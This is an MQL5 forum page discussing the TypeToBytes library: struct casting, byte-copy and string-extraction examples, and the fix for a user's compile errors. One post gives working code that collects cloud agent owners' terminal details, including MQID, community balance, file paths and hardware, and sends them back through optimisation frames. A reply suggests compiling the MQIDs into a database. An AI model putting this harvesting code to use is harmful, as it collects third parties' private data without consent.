Libraries: TypeToBytes - page 4

 
Casting of arbitrary structures is available
struct STRUCT2
{
  MqlTick Tick;
};

// Casting arbitrary simple structures (if there is a constructor or custom assignment operator - TYPETOBYTES_FULL_SLOW is needed).
  STRUCT2 Struct2 = _C(STRUCT2, Tick);   // An analogue of the classic STRUCT2 casting STRUCT2 Struct2 = (STRUCT2)Tick;
  PRINT(_R(Struct2) == Tick)             // Make sure Struct2 == Tick

  Struct2.Tick.time = __DATETIME__;      // Modify Struct2
  PRINT(_R(Struct2) == Tick)             // Make sure that Struct2 != Tick

  _W(Struct2) = Tick;                    // Byte-by-byte copying of Tick to Struct2
  PRINT(_R(Struct2) == Tick)             // Make sure Struct2 == Tick
 
Automated-Trading:

TypeToBytes:

Author: fxsaber

Hi fxsaber. Firstly, thank you for the work on TypeToBytes. I downloaded both the TypeToBytes file and mq5 example, and on running it, I get a handful of errors all related to cast problems.  Here are a few examples of the errors;

  • cannot cast 'MqlTick' to 'STRUCT_READ<MqlTick>' TypeToBytes.mqh 115 20
  • cannot cast 'STRUCT_READ<MqlTick>' to 'STRUCT_TYPE<MqlTick>' TypeToBytes.mqh 84 4
  • cannot cast 'STRUCT_READ<double>' to 'STRUCT_TYPE<double>' TypeToBytes.mqh 62 14
  • cannot cast 'STRUCT_READ<uchar>' to 'STRUCT_TYPE<uchar>' TypeToBytes.mqh 62 14
  • cannot cast 'STRUCT_READ<MqlTick>' to 'STRUCT_TYPE<MqlTick>' TypeToBytes.mqh 85 4

I am trying to use this file as part of a neural network I am developing.  Your help is greatly appreciated.


 
Shephard Mukachi:
The latest version is always here.
 
fxsaber:
The latest version is always here.

That did it, thanks a million for your hard work and swift response too.

 

Great job, thank you all guys.

 

Example of use

  • Определение байтового смещения поля структуры по его имени.

Forum on trading, automated trading systems and testing trading strategies

Struct Casting Error

fxsaber, 2017.05.12 12:17

#include <TypeToBytes.mqh>
struct ID
{
    int num;  //4
    uchar name[255];
};

struct ID2
{
   uchar id[sizeof(ID)];
};


void OnStart()
{
     ID id = {0};       
     _W(id) = 1234;        
     _W(id)[_OFFSET(id, name)] = "someone";

     //---
     ID2 id2 = {0};
     _W(id2) = id;
     
     ID idx = {0};
     _W(idx) = id2;
     
     printf("idx.num = %d, idx.name = %s",idx.num,CharArrayToString(idx.name));    // 1,234,000 
}
 
Added byte-by-byte string extraction
// String extraction
  int ArrayINT[];
  string ArraySTR[] = {"123", "456", "789"};

  _ArrayCopy(ArrayINT, ArraySTR);        // Copy ArraySTR array to ArrayINT array byte by by byte
  ArrayPrint(_R(ArrayINT).Bytes);        // Look at the bytes of the received array

  string ArraySTR2[];

  _ArrayCopy(ArraySTR2, ArrayINT);       // Copy ArrayINT array to ArraySTR2 array byte by by byte
  ArrayPrint(ArraySTR2);                 // Print the received array

  PRINT(_R(ArraySTR) == ArraySTR2)       // Make sure that ArraySTR == ArraySTR2

  PRINT(_R(ArrayINT)[(string)1])         // Retrieve the string from ArrayINT starting from byte 1 - "23"
 
Get sensitive data of cloud agent owners
#include <TypeToBytes.mqh>

input int Range = 0;

template <typename T>
struct ARRAY
{
  T Array[];
  
  void operator +=( const T Value )
  {
    const int i = ArrayResize(this.Array, ArraySize(this.Array) + 1) - 1;
    
    this.Array[i] = Value;
  }
};

#define  TOSTRING(A) #A + " = " + (string)(A)
#define  ADD(A,B) Str += TOSTRING(TerminalInfo##A(B));

void GetPrivateData( ARRAY<string> &Str )
{
  Str += TOSTRING(MQLInfoString(MQL_PROGRAM_PATH));
  
  ADD(Integer, TERMINAL_BUILD)
  ADD(Integer, TERMINAL_COMMUNITY_ACCOUNT)
  ADD(Integer, TERMINAL_COMMUNITY_CONNECTION)
  ADD(Integer, TERMINAL_CONNECTED)
  ADD(Integer, TERMINAL_DLLS_ALLOWED)
  ADD(Integer, TERMINAL_TRADE_ALLOWED)
  ADD(Integer, TERMINAL_NOTIFICATIONS_ENABLED)
  ADD(Integer, TERMINAL_MAXBARS)
  ADD(Integer, TERMINAL_MQID)
  ADD(Integer, TERMINAL_CODEPAGE)
  ADD(Integer, TERMINAL_CPU_CORES)
  ADD(Integer, TERMINAL_DISK_SPACE)
  ADD(Integer, TERMINAL_MEMORY_PHYSICAL)
  ADD(Integer, TERMINAL_MEMORY_TOTAL)
  ADD(Integer, TERMINAL_MEMORY_AVAILABLE)
  ADD(Integer, TERMINAL_MEMORY_USED)
  ADD(Integer, TERMINAL_X64)
  ADD(Integer, TERMINAL_OPENCL_SUPPORT)
  ADD(Integer, TERMINAL_SCREEN_DPI)
  ADD(Integer, TERMINAL_PING_LAST)

  ADD(Double, TERMINAL_COMMUNITY_BALANCE)

  ADD(String, TERMINAL_LANGUAGE)
  ADD(String, TERMINAL_COMPANY)
  ADD(String, TERMINAL_NAME)
  ADD(String, TERMINAL_PATH)
  ADD(String, TERMINAL_DATA_PATH)
  ADD(String, TERMINAL_COMMONDATA_PATH)
}

void OnTesterPass()
{
  ulong Pass;
  string Name;
  long ID;
  double Value;
  uchar Data[];

  while (FrameNext(Pass, Name, ID, Value, Data))
  {
    string Str[];
    
    _ArrayCopy(Str, Data);
    
    ArrayPrint(Str);
  }
}

double OnTester()
{
  ARRAY<string> Str;  

  GetPrivateData(Str);
  
  FrameAdd("Temp", 0, 0, _R(Str.Array).Bytes);
  
  return(0);
}

Windows username, bit rate, number of cores, memory size, etc. are available.

 
fxsaber:
Get sensitive data of cloud agent owners

Windows username, bit rate, number of cores, memory size, etc. are available.

Clever. You could build a database of MQIDs to send out )
 
fxsaber:
Added byte-by-byte string extraction
Two strings with the same result
StringSubstr(Str, Pos);
_R(Str)[(string)Pos];